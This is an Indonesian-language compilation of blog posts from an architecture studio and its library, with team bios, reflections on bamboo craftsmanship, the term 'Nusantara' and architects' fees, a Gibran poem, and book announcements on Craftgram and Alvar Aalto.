Realrich Sjarief mendirikan Realrich Architecture Workshop di tahun 2011. Ia juga aktif di DOT Workshop, yang berfokus pada penelitian tektonika, dan Perpustakaan OMAH, kelompok penelitian dan perpustakaan umum yang menampung sekitar 1.500 buku arsitektur dan menyelenggarakan publik berkala acara tentang wacana arsitektur kontemporer. Ia menulis beberapa buku bersama dengan Johannes Adiyanto, bersama-sama menjadi cantrik yang haus akan ilmu. Realrich Sjarief aktif mengajar di beberapa universitas di Indonesia, dan kerap kali memberikan kuliah umum di Australia, Singapore, Filipina, India. Bersama RAW Architecture ia memenangkan beberapa kompetisi desain, termasuk Kompetisi Galeri Nasional Indonesia, finalis dari Museum Silaban, IAI Jakarta Award di tahun 2017 dengan karya Omah Library, Finalis World Architecture Festival Award 2018, Fibra Award 2019, dan Kohler Award 2018 untuk karya Sekolah Alfa Omega. RAW Architecture di tahun 2018-2019 adalah long listed world emerging architect. Baru-baru ini RAW Architecture juga mendapatkan nominasi Emerging Architect di Asia Pacific Design Award 2020.
Tim Omah Library : Penulisan, Riset, dan Layout
Amelia Mega Djaja
Amelia Mega Djaja adalah salah satu periset dan pustakawan OMAH Library, pernah terlibat dalam penulisan buku berjudul “Craftgram: Craft + Grammatology” dan “Alvar Aalto: The Magic of Architect’s Life,” dan juga sebagai koordinator Kri(s)tik Book Club 2019. Lulus dari S1 jurusan arsitektur pada tahun 2016 dari The University of Sheffield, dengan disertasi mengenai narasi arsitektur poskolonial di Jakarta tahun 1960an.
Sebelum bergabung di OMAH, Amel memiliki pengalaman bekerja selama 3 tahun sebagai desainer, antara lain dalam proyek Alun-Alun Cicendo Bandung (2017, di bawah Florian Heinzelmann), juga sebagai koordinator tim Sayembara Kantor Bupati Sleman yang mendapat juara 2 (IAI 2018, di bawah Ary Indra).
Menurutnya, arsitektur bisa menjadi medium dalam melakukan pembacaan dan analisis mengenai kultur, sejarah, lingkungan maupun dimensi sosial yang lebih luas. Karena ketertarikannya untuk mendalami hal tersebut, saat ini Amel juga merupakan salah satu pegiat ASF-Indonesia yang aktif dalam fasilitasi dan diskusi mengenai komunitas informal kota Jakarta.
Dimas Dwi Mukti P
Dimas Dwi Mukti Purwanto, lahir di Madiun 7 Maret 1996. Lulus dari Akademi Teknik Arsitektur YKPN Yogyakarta tahun 2018 dan sekarang sedang melanjutkan studi S1 di Universitas Mercu Buana Jakarta untuk melanjutkan cita – citanya.
Beberapa pengalaman yang mempengaruhi pemikiran Dimas adalah ketika menjadi volunteer yang bertugas sebagai tim riset Venice Architecture Biennale 2018 bersama tim pavillion Indonesia pada tahun 2017, ketika menjadi tim desain revitalisasi desa Krapyak di Pekalongan bersama Studio Akanoma dalam mendampingi World Bank pada tahun 2018, dan ketika mendapatkan kesempatan untuk menjadi juru gambar PT. Waskita Karya dalam proyek tol Pemalang – Batang pada tahun 2018. Kemudian Dimas juga pernah bekerja di PT. Kreasi Nusa Studio sebagai desainer interior dimana banyak mengerjakan proyek – proyek kantor, residensial hingga komersial sepanjang tahun 2019. Untuk saat ini Dimas sedang belajar dan bekerja sebagai pustakawan dan juga periset di Omah Library. Salah satu prestasi yang pernah Dimas raih adalah juara 3 dalam kompetisi desain ruang publik yang bertema Unexpected Space di tahun 2018.
Dimas adalah orang yang tidak pintar – pintar amat namun memiliki keinginan yang kuat untuk bisa membanggakan bangsa Indonesia sebagai arsitek yang baik sehingga hal itulah yang selalu membuatnya mendapatkan motivasi untuk terus belajar dan belajar lebih dalam lagi.
Kirana Ardya Garini
Lulus dari jurusan Teknik Arsitektur pada tahun 2017, Kirana A. Garini memiliki pengalaman bekerja di konsultan arsitektur PT Tripatra Konsultan di Yogyakarta yang khusus menangani proyek pemerintahan.
Kirana sempat bergabung dalam Housing Resource Center Yogyakarta dengan fokus penanganan kampung kota Kali Code Yogyakarta dengan output berupa profil kawasan.
Kirana senang bereksperimen dengan desain produk, khususnya yang dapat digunakan di ruang publik. Ia pernah membuat Pringgam (pring-gamelan), prototipe produk bermain bagi anak usia SD di taman kota Surabaya, berbahan bambu, memadukan sistem alat box musik dan gamelan. Produk tersebut sengaja didesain untuk beberapa penggunan sebagai tanggapan atas minim nya interaksi sosial anak di kota urban yang cenderung terikat pada gadget mereka. Karya tersebut mendapat penghargaan juara 1 pada sayembara Play MORPH yang diselenggarakan oleh Departemen Arsitektur ITS, Surabaya bersama dengan 2 orang dalam timnya.
Kirana sangat tertarik dengan arsitektur untuk publik, yang mengutamakan kesehatan dan kenyamanan masyarakat luas, desain universal, multi dimensi dan multi disiplin, serta bersinggungan dengan kebijakan publik, politik, dan ekonomi.
Oleh karena itu saat ini Kirana memilih bergabung sebagai Researcher Librarian di OMAH Library. Kirana berharap dapat melatih ketajaman observasi dan berpikir lebih dalam guna mengkoneksikan sejarah dan teori, mampu membuka wacana, membangun kritik, dan menakar kebijakan publik yang kontekstual.
Selama di OMAH Library, Kirana terlibat dalam berbagai riset yang diantaranya diterbitkan dalam bentuk buku, seperti: Methodgram, Craftgram, Sejarah Arsitektur untuk Mahasiswa, dan yang terbaru, buku Alvar Aalto: the magic of architects life.
Satria A. Permana
Satria A. Permana is currently working at OMAH Library, observing and researching architecture discourse in Indonesia. He graduated from the school of architecture in Universitas Islam Indonesia. His thesis about “Recoding the Code’s Urban Kampong”, has led him to put his concern on developing urban kampong design language, which also aided him to gain several prizes in architecture and urban design competition such as merit award in FuturArc Prize 2019 and nominated in Student Charrette World Architecture Festival 2016. Besides architecture and design, he spends half of his life observing the worlds in writings and photography which could be found at http://www.medium.com/@satriaap. In 2020, he co-authored with Realrich Sjarief a book titled The Secret of Architect’s Life. He is available to reach by email at satriaap@live.com or Instagram @satria__ap.
Terima kasih kepada Pak Agus Dharma Tohjiwa dan Universitas Gunadarma untk mengundang di acara “proses perancangan arsitektur” tanggal 30/7/20. Ternyata Pak Agus Dharma adalah rekan kerja dari Bu Jolanda Atmadjaja, ternyata dunia kecil ya.
Acara ini diselenggarakan dengan tujuan memberi pengayaan materi kepada mahasiswa Prodi Arsitektur dalam rangka mengikuti proses sertifikasi Standar Kompentensi di bidang Arsitektur berbasis SKKNI no 164 thn 2016. Acara tersebut akan disiarkan secara langsung di UG-TV Universitas Gunadarma. Hal ini sejalan dengan program Kemendikbud yang baru yaitu Kampus Merdeka, untuk menyiapkan peserta didik (mahasiswa) agar menjadi lulusan yang berkompeten dan memiliki keahlian yang diperlukan dalam dunia kerja.
Proses untuk percaya membutuhkan proses yang tidak sebentar, dari situ pun juga terjadi di dalam studio kami, bagaimana berinteraksi dengan dialog dengan tukang.
“Pak setelah ini kita kerja apa ?”, pak Amud bertanya ke saya ketika satu saat saya berkunjung ke Alfa Omega untuk finalisasi pengecekkan kualitas pekerjaan. Saya sebenarnya sudah menyiapkan beberapa proyek yang menggunakan material bambu. Hanya saja terkendala beberapa hal, yang pertama : tipe klien yang saya prediksi tidak akan cocok menggunakan material bambu karena ketidaksiapan R +D yang dilakukan di studio, kedua : proyek tersebut hanya mengharapkan bambu sebagai material murah. Saya pun menjawab “Ada pak nanti saya kabari ya.”
Di dalam pikiran saya, saya tidak memiliki kesempatan apapun untuk tukang – tukang ini bekerja. Tetapi masakah relasi yang sudah dimulai di pembangunan sekolah Alfa Omega tidak bisa berlanjut. Lalu saya berpikir, bagaimana kalau kita persiapkan infrastruktur untuk studio, dimana tim pengrajin bambu ini bisa mendapatkan pekerjaan dan studio bisa mendapatkan manfaat.
Kebetulan kami memiliki sebidang lahan kosong di samping the guild yang selesai di tahun 2016 (lihat proyek The Guild).
The Guild : Realrich Architecture Workshop is like a Roseto that believe on the workshop between the craftsmen and designer for having the best solution in the design
Dari situ saya merencanakan sebuah kerangka kerja untuk studio 10 tahun ke depan, yang relevan ke dalam apa yang kami akan hadapi di keluarga juga proyek terhadap tim ke depannya. Intinya, bahwa untuk dalam jangka waktu 6 bulan, infrastruktur studio perlu siap untuk mengorganisasikan tim menjawab beberapa tantangan ke depan seperti desain, manajemen, struktur, dan desain mekanikal elektrikal dan pemipaan. Untuk itu kita perlu studio yang baik dimana satu sama lain bisa berkomunikasi antar tingkat, memiliki fleksibilitas untuk bisa berubah – ubah, dan tidak mengganggu tetangga dengan apa yang saya rencanakan.
Pada waktu tim bambu ini pindah dari Alfa Omega, barulah saya mengetahui secara detil bagaimana tim ini bekerja. Tim ini bangun pagi di saat subuh untuk berdoa, kemudian mereka menghabiskan waktu untuk mempersiapkan diri, mengasah pisau. Selepas selesai bekerja mereka menghabiskan waktu untuk membuat lampu – lampu, saya merencanakan pada waktu itu untuk mendesain sebuah lampu bambu yang saya beri nama Amud. Selepas jam studio, baru biasanya saya berkesempatan untuk berkunjung ke lokasi proyek ditemani pak Amud.
Ada 3 struktur tukang yang ada di proyek ini , sama seperti proyek Alfa Omega : 1. Kepala Tukang, 2. Tukang, 3. Asisten. Asisten biasanya terdiri dari orang – orang yang masih keluarga atau teman dekat dari tukang yang lebih muda. Desain dari Guha Bambu tidak menggunakan gambar yang semestinya. Desain dibuat dari kesepakatan – kesepakatan yang menggunakan bahasa tubuh, bahasa verbal, dan peragaan langsung. Yang digambar secara langsung hanya grid berjarak 3m dan 3.6 buang sisi barat dan timur
Anatomi dari Guha Bambu : Construction of Guha is elaborated into 9 materials, to sum up, craftmanship experimentation in Realrich Architecture Workshop such as steel, wood, glass, metal, gypsum, bamboo, plastic, stone, and concrete. The layout is flexible, and open while some of the rooms are opened by a minimum of 2 doors allowing further scenarios while the program can be changed. The idea is basically addressing the tropical climate to open north-south and close the facade on the west side.
Disinilah evolusi dari rumah bambu tersebut, seakan -akan tradisi itu terimplantkan di dalam tubuh The Guild, ia berusaha masuk seperti Rhizoma, namun masih ada di perimeter. Ia berusaha membayangi, langkah – langkah prosedural yang taktis, dan statik di The Guild. Di dalam bangunan Guha setiap harinya adalah ketidak pastian. Saya bisa mengira – ngira seperti apa, seperti membentuk sesuatu yang primitif berdasarkan kepercayaan. Saya harus percaya ke pak Amud juga timnya.
Desain sendiri berada di bawah atap existing yang terbuat dari plastik transparan. Dimana ini adalah bangunan sementara tempat untuk merakit besi yang ditujukan untuk satu proyek di Permata Buana dan di Meruya. Oleh karena itu logika dari bangunan ni adalah logika peneduh. Buat dulu peneduhnya baru selesaikan bawahnya. Jadi tahap pertama adalah menyelesaikan atap bangunan, baru pondasi di buat belakangan, dan sebagainya.
Ada beberapa elemen yang dipertahankan seperti daerah kamar mandi, pipa pembuangan, termasuk hasil – hasil sisa tanah dari The Guild. Hal ini termasuk juga menggunakan hasil – hasil bongkaran perancah untuk dijadikan struktur bangunan baru. Berbeda dengan bangunan Hall Alfa Omega yang menggunakan maket sebagai gambar kerja, asisten saya saja bingung ini gimana bikin maketnya, Adik saya Mondrich juga bingung, “ini gimana bikin denahnya ko.”
Proses Konstruksi
Yang menarik adalah proses membuat tangga, saya iseng bicara ke pak Amud. Pak tau buntut Merak, kan itu anggun sekali, lambang cinta. Kita buat seperti itu ya, juga bentuknya mirip daun, sambil saya memperagakan dengan bambu – bambu bekas dan coretan garis yang ada di triplek. Besoknya jadilah bentuk bambu yang intutif.
Yang menarik adalah studio kami baru mendapatkan suplier lem konstruksi dimana lem tersebut bisa menyatukan kedua material yang berbeda menjadi satu. Kami coba menyambung bambu tersebut dengan lem, barulah ditutup dengan anyaman. Memang proses ini adalah proses yang hibrida, campuran, adaptasi. Di dalam proses ini juga ditemukan bagaimana screeding semen menggunakan serbuk kayu bekas dari workshop dicampur dengan lem konstruksi untuk menjaga retak.
pelapis anti air yang dikembangkan Albert Pramono, Agus Pramono dari Pramindo
Screed dari serbuk kayu
contoh R + D yang dikembangkan
Beberapa eksperimen ini baru dipakai di proyek ini, perasaannya seperti terjun dari ketinggian, masuk ke lautan, ditarik oleh gaya gravitasi membuat kita turun dengan kecepatan konstan, mau tidak mau akan masuk ke lautan. Dari situ munculah perasaan – perasaan yang tidak terduga. Hari berikutnya saya melihat mereka melompat – lompat ada sekitar 10 orang untuk menguji kekuatan struktur tersebut. Pada akhirnya saya akan menatap ke pak Amud. Beliau akan menjawab “Tenang aja pak, sudah saya perhitungkan.”
Beberapa hari terakhir ini saya ragu – ragu untuk menelisik satu terminologi Nusantara. Mengapa ? Sederhananya hal ini menjadi barang perebutan ketika terkait dengan masa depan arsitektur Indonesia. Nusantara sebenarnya adalah sebuah usaha untuk menemukan benang merah Arsitektur Indonesia. Andrea Peresthu di dalam diskusi soal bagaimana arsitek Indonesia bisa berjalan sejajar dengan arsitek luar negeri ia berkata “work! work! buktikan arsitek indo bisa mendunia spt arsitek irak ini” banyak hal yang perlu dilakukan. Lihat postingan Apakah perlu arsitek asing ? kita belum mampu ya ? – Discussion
Ingsun, yang dalam bahasa Jawa berarti kawula, kula, abdi, dalem, ulun, nglulun, Ingwang, mami, kita, ingong, ngong, inyong, dan nyong. Hal ini untuk mempertanyakan keakuan saya di dalam bertata laku.
Dan hal tersebut bisa dimulai dengan memperhatikan suara anak – anak muda supaya mereka bisa didukung akan keberadaannya. Hal ini sifatnya resiprokal , kita mendukung kita akan didukung, apa yang kamu beri itu akan kamu tuai. Melalui literasi dan forum – forum yang memberikan tempat untuk mendengar yang muda, hal ini bisa dimulai. Penting untuk bisa menghargai pribadi yang gelisah, supaya mereka bisa berkembang menembus jamannya, bekerja menurut suara hatinya. Bahwa mengenal Arsitektur Indonesia sendiri begitu penting, sekaligus membuka mata akan pentingnya eksplorasi dan belajar lintas golongan dan teritori juga sama pentingnya.
Kedua ada cerita tentang hal ini. Saya berdiskusi dengan satu kawan arkeolog (Mbak Mitu namanya), dan membaca beberapa paper. Bahwa ada Politik Identitas yang ada di Arsitektur Indonesia.Hal ini yang kita bisa bahas selanjutnya ya. Saya berdialog dengan mbak Mitu, “Mbak secara etimologinya Nusantara identik dengan kolonialisasi dari Majapahit, lalu apa sebaiknya kita memakai kata ini apabila satu kata itu memiliki makna yang kontradiktif dimana hanya mewakili golongan tertentu, kebudayaan tertentu yang dominan ? Yang hal tersebut rawan menimbulkan konflik horisontal? ” (hal ini dibahas Yasmin Tri Aryani di dalam kerja kuratorialnya di Eindhoven, saya akan bahas ini di lain kesempatan). ini blog beliau : https://katadansketsa.wordpress.com/
Karya Yasmin Tri Aryani di dalam mempertanyakan identitas sebagai obyek komodifikasi.
Mitu kemudian menjelaskan tentang teknik komunikasi supaya tidak memancing polemik, bagaimana memilih judul, menyeleksi isi yang memiliki kedalaman dan menjelaskan dengan contoh – contoh. Kesimpulannya adalah Nusantara sendiri sudah menjadi sebuah terminologi yang awam, mengenai sebuah semangat untuk mencari identitas Indonesia. Yang kedua, ia menjelaskan pentingnya mereferensikan darimana pemahaman nusantara itu berasal, penting untuk meredefinisi istilah – istilah Arsitektur Nusantara, Vernakular, Tradisional dan menghubungkannya dengan disiplin lain seperti arkeologi, antropologi, dan kajian disiplin yang lain.
Saya mendapatkan pembelajaran bahwa mengenal Arsitektur Indonesia sendiri begitu penting, sekaligus membuka mata akan pentingnya eksplorasi dan belajar lintas golongan dan teritori juga sama pentingnya. Belajar, belajar, dan belajar, menjadi murid kehidupan.
Kenusantaraan sendiri adalah sebuah definisi tentang kesetempatan, sebuah semangat untuk mengolah apa yang ada di dalam lahan, sumber daya manusia dan alam dengan kritis. Sehingga Arsitektur Nusantara sendiri bisa dipandang sebagai sebuah cara pandang menuju ke masa depan, dan banyak mahasiswa bisa melihat “Kenusantaraan” apabila kata itu yang mau dipakai sebagai bingkai ke masa depan.
Salah satu kuncinya ada melebur atau inklusif, bukan dominan atau eksklusif. Dimana semua parameter diperhitungkan, ada dualisme luar diri, dalam diri, dimana hal ini dibahas oleh Antoniades di dalam Poetic of Architecture sebagai sebuah kemauan untuk bereksplorasi. Atau digagas lebih lanjut oleh Apurva Bose ke dalam sikap untuk mau berkorban, mengajar, mengantarkan ilmu ke generasi lebih muda. Hal ini juga tersirat di dalam perjalanan Ki Ageng Suryomentaram, bahwa menjauh dari keramaian memberikan jarak dari keriuh rendahan untuk mendapatkan diri sendiri , dan setelah itu pengembangannya bisa keluar. Hal tersebut dimulai dari prosedur di dalam diri sendiri dahulu, Penguasaan diri. Penguasaan diri ini penting untuk mengenal Arsitektur Indonesia, milik kita bersama dengan lebih baik. Jadi bukan tentang istilah – istilah kulitnya tapi juga tentang isinya. Keduanya sama – sama penting. Jadi mari yuk mengenal Indonesia lebih dalam.
Sebagai Arsitek professional, kita punya tugas – tugas dasar. Hal ini yang saya terus bagikan ketika mengajar, ini lah praksis, pendekatan aksi reaksi antara metode desain dan refleksi atas metode tersebut. Hal ini disebut praksis. Cara kerja Model Praksis mengacu pada penjelasan Paulo Freire dimana terdapat aksi atas refleksi dan refleksi terhadap aksi. Intinya tugas arsitek adalah berkarya dengan eksploratif, puitis, dan mempersiapkan transfer ilmu ke penerus kita, dunia yang indah untuk arsitek muda. Lihat buku menjadi arsitek untuk mengenal apa itu tugas arsitek.
Di dalam alam profesi arsitek, ada dua buah kutub yang berseberangan dan saling melengkapi, keduanya berjalan beriringan tanpa meninggalkan satu sama lain. Alam pertama adalah Taksu, Taksu adalah sebuah bentuk dari keutuhan. Taksu sendiri ada karena proses repetisi terus menerus, berusaha melakukan evaluasi diri di dalam setiap tahap perancangan. Taksu ada karena proses belajar di dalam sisi seorang arsitek. (Lihat postingan mengenai Aalto)
Kutub kedua adalah Materi, atau mudahnya “Fee/Uang”. Salah satu kawan saya Anas Hidayat bicara soal ini di bagian prolog buku yang saya dan Johannes Adiyanto tulis beberapa bulan yang lalu berjudul “Fee”. Ia menulis “Jika hanya mencari uang saja, jadilah sodagar. Cari selisihnya, dan selesai! arsitek jelas bukan nabi mungkin memang pedagang tetapi yang punya harga diri dan punya nilai-nilai ya, harga diri, itu yang justru tak ternilai yang tak bisa dinominalkan sebagai fee itulah fee-lo-so-fee, phee-losophy.”
Tulisan Prolog Anas Hidayat : Anas Hidayat menjelaskan dengan mudah bagaimana cara menyusun fee sebenarnya didasarkan seberapa besar anda mau menakar diri, dan seberapa besar orang lain menghargai anda, dan terakhir adalah seberapa besar kebahagiaan yang anda dapatkan sampai misal bisa bekerja tanpa bayaran.
Tentunya pembahasan ini terkait kondisi ekonomi setiap orang. Tanpa adanya materi, percuma untuk bicara Taksu. Hal ini sama saja dengan membicarakan Taksu tanpa adanya materi, sama seperti berjalan diatas air, karya luar biasa tidak akan pernah lahir karena karya yang biasa – biasa saja tidak akan pernah lahir.
Dan pastinya semua arsitek ingin melahirkan karya yang luar biasa, tunggu ya ada caranya, nanti akan saya bagi caranya, caranya mudah, satu demi satu, ada prosedurnya. Simak terus ya, nanti dipostingan selanjutnya.
Kemudian di dalam keragu – raguan saya. Saya berdiskusi dengan Prof. Josef Prijotomo. Dan saya berbicara mengatakan “semoga rekan2 bisa makin percaya diri dan mau membentuk logika dan framenya dan kawan2 cukup excited, salam Pak Josef, saya perlu menjaga tenaga dulu jaga kesehatan jg ya. Nanti jgn lupa frame untuk Indonesia sy kontak pak Gunawan pak Yuswadi pada tertarik nanti kita isi ya, ” Pak Josef membalas , di dalam merencanakan wacana untuk arsitektur nusantara, saya sedikit banyak berdiskusi dengan pak Abidin Kusno, saya pikir ia ada dibalik kutub pemikiran Gunawan Tjahjono dan Josef Prijotomo.
Saya kemudian menjelaskan ke beliau bahwa Omah akan mempublikasikan kuliah wacana Nusantara. Ia bersemangat dan mengambarkan hal tersebut akan menggelinding dan tak terhentikan. Ia memuji Abidin Kusno, Omongnya bisa sana halus dan pelan, namun omongannya adalah guntur yang menggelegar. Ia berkata “aku sungguh bahagia punya murid yang mampu lebih dari aku.”
Ia menitipkan juga cara berkomunikasi bahwa berdialog dengan para tetua atau manula mesti pilih waktu atau situasi yg pas. Bahwa bisa saja mereka kurang berkenan dgn orang muda. Ia menceritakan bagaimana ia di coret oleh satu kampus terkenal karena kuatnya budaya penghormatan Juga, jangan posisikan sebagai sebuah pengadilan. Yang muda mungkin tidak merasa mengadili, tapi tidak begitu dengan perasaan para tetua.
Saya menulis seperti ini untuk menggambarkan setiap orang punya eksistensinya sendiri, adalah tugas kami yang muda untuk menyapa, yang tua, adalah tugas yang muda menyambut tongkat yang tua, dan terkadang meminta nasihat. Saya ingat kawan saya M. Cahyo Novianto menuliskan satu kata “Madeg Pandhito”
Karya Tisna Sanjaya “Madeg Pandhito” adalah sebuah metafora dari orang tua yang bijaksana, tinggal di sebuah “pertapaan” dan selalu bersedia memberi nasihat kepada siapa pun yang membutuhkan.
Saya kemudian menulis “Iya saya akan coba jaga semampu saya, semoga menjadi jembatan yang rahayu, Benar tidak ada pengadilan, Saya akan kawal, mengerti. Ini adalah estafet bukan salah menyalahkan, Saya akan highlight ke beberapa orang, Supaya bisa menjaga perasaan, …Seluruh pemateri adalah jembatan Itu highlight saya akan saya kondisikan.”
Kembali ke awal, di balik keragu – raguan akan kelas ini, sebenarnya pertanyaan muncul dari hati saya. “Apa yang ditakutkan ?” Apa bila seorang murid ingin mencari sebuah jawaban, ada baiknya kita melangkah tanpa keragu – raguan, namun apabila yang dicari hanya sebuah ketenaran, ada baiknya urungkan niatmu. Ya saya sudah tau jawabannya.
Bersamaan dengan permenungan tersebut. Satu teman saya Johannes Adiyanto mengirim sebuah puisi yang didapatkan beliau dari satu acara di Malang dari Johannes Widodo.
Anak
oleh Khalil Gibran
Anakmu bukanlah milikmu,
mereka adalah putra putri sang Hidup,
Mereka lahir lewat engkau,
yang rindu akan dirinya sendiri.
tetapi bukan dari engkau,
mereka ada padamu, tetapi bukanlah milikmu.
Berikanlah mereka kasih sayangmu,
namun jangan sodorkan pemikiranmu,
sebab pada mereka ada alam pikirannya sendiri.
Patut kau berikan rumah bagi raganya,
sebab jiwa mereka adalah penghuni rumah masa depan,
namun tidak bagi jiwanya,
yang tiada dapat kau kunjungi,
sekalipun dalam mimpimu.
Engkau boleh berusaha menyerupai mereka,
namun jangan membuat mereka menyerupaimu,
sebab kehidupan tidak pernah berjalan mundur,
ataupun tenggelam ke masa lampau.
Engkaulah busur asal anakmu,
anak panah hidup, melesat pergi.
Sang Pemanah membidik sasaran keabadian,
hingga anak panah itu melesat jauh dan cepat.
Dia merentangkanmu dengan kuasaNya,
Bersukacitalah dalam rentangan tangan Sang Pemanah,
sebab Dia mengasihi anak-anak panah yang melesat laksana kilat,
sebagaimana dikasihiNya pula busur yang mantap. “
Puisi berjudul Anak dari Khalil Gibran ini menyentuh lubang hati Johannes Adiyanto dan kemudian menyentuh lubang hati kawan – kawan dan pada akhirnya menyentuh lubang hati saya yang sedang ada di alam mimpi.
Lalu sayup – sayup saya kemudian terbangun karena ada kehangatan yang muncul. Ada suara halus menyapa “Anakku, muridku, mari kita berjalan, … kawan – kawan akan turun tangan.”
Thank you Casa Indonesia for the synopsis of Craftgram book.
here is the detail of the publication :
Jo Adiyanto serta Realrich Sjarief mencentuskan karya tulisan bertajuk Craftgram: Craft + Grammatology yang menilik kehidupan empat arsitek legendaris seperti Le Corbusier, Antoni Gaudi, Laurie Baker, dan Antonis-Noemi Raymond. Turut disunting oleh Anas Hidayat, buku ini menekankan pengetahuan terkait ketekunan serta ketulusan hati dalam menjalani profesi arsitek berbentuk panduan jitu guna mencapai kelihaian hakiki.
Gudang ini terletak di daerah Cipondoh, Kota Tangerang, salah satu lahan kosong di sisi barat jalan yang padat akan toko material, onderdil, bengkel, dan ruko kecil, terutama di sisi utara lahan. Bangunan ini bersebelahan dekat dengan dealer mobil dan pabrik yang jumlahnya dibawah hitungan jari. Jalan tersebut cukup untuk 2 jalur kendaraan, masing-masing dapat mengakomodasi truk dan terkoneksi dengan beberapa gang dimana perumahan warga. . Daerah ini memiliki masalah banjir dimana di sisi timur lahan yang menempel dengan jalan seringkali terendam air hujan. Hal ini dikarenakan lahan yang cenderung datar, sedikit lebih rendah dari jalan dan tidak adanya saluran air kota. Pada jalan tersebut terdapat beberapa bangunan yang memiliki saluran air di pinggir jalan namun tidak terhubung satu dengan yang lain. . Pak Sukardi sendiri memiliki karakter religius dan artistik yang diimbangi dengan bu Yeyen yang rasional ia menangani manajerial PT. Sumber Kencana Lestari. Ada 3 kriteria desain di dalam perancangan, Pertama adalah gudang yang fungsional, dan fleksibel yang mampu menampung barang. Kedua, gudang dan kantor yang tidak panas dan mendapatkan cahaya cukup. Ketiga adalah bentuk bangunan yang artistik, untuk menggambarkan karakter yang bersahaja namun penuh kejutan. Hal ini memicu perdebatan dari mana memulai proses desainnya. . Pembahasan di proyek ini dibagi kedalam bentuk
Konteks
Pertemuan dengan Klien
Dunia Pertama:Dunia Seni – Biomimesis
Dunia Kedua:Anatomi Bangunan
Dunia Ketiga:Tectonics Grammar
Dunia keempat:Pencahayaan dan Penghawaan Alami
5 hal ini menggarisbawahi pola dasar pemikiran yang saling terajut di dalam referensi dan metode desain. .
rawarchitecturebest adalah cerita dimana saya (Realrich) menghargai arsitektur dan proses, tim, klien :Sukardi+Yeyen, alam, saudara, guru dan sahabat yang sudah membantu selama ini. Terima kasih untuk tim saya yang luar biasa, hugs. Yuk buat karya yang baik dan memuaskan,tq ya. #realricharchitectureworkshop Design Team (Current) : @rawarchitecture_best, @fianali, dan @arlned
. 3d Artist oleh @ed.visualization thanks ed for the great visualizations.
Kira – kira di akhir tahun 2018, saya dan Laurensia berkunjung ke Finlandia. Hal itu dilatarbelakangi satu kebetulan yang cukup aneh dan hal tersebut menjadi warna yang penuh kejutan dan spontan. Jadi waktu itu saya selalu meletakkan satu buku di samping tempat tidur, pada waktu itu saya sedang mau memulai membaca buku Space, Time and Architecture karya Siegfried Gideon. Sudah beberapa hari berlalu buku tersebut belum saya baca karena studio RAW sedang padat-padatnya. Tidak tau gimana ceritanya mungkin tersenggol, buku tersebut jatuh terbalik dan ada halaman yang terbuka, disitulah saya melihat sebuah gambar dan narasi mengenai Saynatsalo Townhall. Disitu diceritakan, bahwa ada teknik yang menggunakan komposisi berbagai material yang menimbulkan simfoni material yang mencengangkan. Siegfried Gideon begitu apiknya menyelipkan Aalto di tengah – tengah figur yang lain seperti Corbusier, Frank llyod Wright, dan Jorn Utzon. Figur Alvar Aalto yang membumi terlihat seperti karyanya biasa – biasa saja atau ada perasaan familiar. Karya ini mengundang decak kagum justru karena terlalu biasanya sampai mudah untuk dicerna. Ini adalah satu karya yang saya cari – cari, keindahan adalah pancaran dan pantulan dari arsitektur yang bersahaja. Dari situ saya langsung berbicara ke Laurensia, “kita perlu ke Finlandia akhir tahun ini.”
Akhirnya kami berkesempatan berkunjung ke karya Alvar Aalto, Saynatsalo Townhall, setelah tersesat di hutan pinus akibat diturunkan di perhentian yang jarang dilalui orang
Beberapa bulan kemudian, saya memutuskan untuk menuangkan pengalaman tersebut di dalam bentuk buku, dan mulai meriset mengenai karir kehidupan Alvar Aalto dan merefleksikan ulang apa yang saya dapatkan di dalam perjalanan melihat karya beliau, ada hal yang magis di dalam hidup Alvar Aalto, bahwa ia melakukan praksis, aksis reaksi penyelesaian masalah dan refleksi akan penyelesaian masalah tersebut, fakta – fakta dan arsip yang ada menjelaskan bahwa kehidupannya erat kaitannya dengan praksis – praksis besar di dunia seperti kejadian ketika ia tidak memiliki proyek, pandemi, perang dunia pertama, perang dunia kedua, pameran di Amerika, menulis, berkumpul dengan kawan – kawannya termasuk bertemu dengan Siegfried Gideon, Le Corbusier, dan Frank llyod Wright dan mempengaruhi cara dan bagaimana ia mendesain. Ini adalah praksis yang manusiawi sekali. Pertanyaannya apa formulanya ?
1 tahun setengah kemudian Buku itu selesai dan diterbitkan Omah library, dan kami dengan bangga mengeluarkan buku baru berjudul Alvar Aalto : The Magic of Architect’s life. Buku ini Berisi tentang bagaimana studio Alvar Aalto dan relasi dengan dirinya bekerja dan seperti apa di dalamnya. Buku ini adalah salah satu refleksi dari perjalanan karya Alvar Aalto yang mendesain dengan inklusif, sebuah pendekatan yang mampu menembus batas imajinasi. Alvar Aalto adalah seorang arsitek yang memanifestasikan totalitas desain dari arsitektur, interior, sampai produk desain di Paimio Sanatorium yang terelasi dengan pandemi TBC dan Viipuri Library. Buku ini berisi mengenai :
Strategi arsitek di dalam menghadapi pandemik masa kini dan masa lalu.
Metode mendesain dari Alvar Aalto yang mampu menembus batas kanon tren dengan 3 pendekatan : Gesamtkunstwerk, Free Curve, dan Arsitektur Monumental
Pada akhirnya ini merujuk kepada kesimpulan : arsitek ini memulai karirnya dengan kegagalan, sifat mau belajar, berpikiran terbuka, berprinsip teguh, dan akhirnya kejeniusan itu datang sebagai buah dari kerja keras.
Alvar Aalto memiliki pendekatan arsitektur yang bersahaja. Berisi analisa terhadap 13 proyek Alvar Aalto dan 300 foto proyek Alvar Aalto beserta 7 diagram analisa yang mampu membantu membedah pendekatan Alvar Aalto sehingga berguna didalam proses perancangan arsitektur di studio desain.
Saya dibantu oleh Johannes Adiyanto untuk penyuntingan. Ia membuka buku ini dengan definisi dirinya sebagai “Cantrik” dan buku ini ditutup oleh tulisan dari Jolanda Atmadja yang membahas “TAKSU-Dinamika Daya Hidup dalam Keutuhan”, cerita Jolanda membahas mengenai relasi Panca Skandha kedalam keutuhan karya dan bagaimana Taksu itu didapatkan sebagai refleksi penyelesaian terhadap masalah keseharian.
Jolanda Atmadja menulis
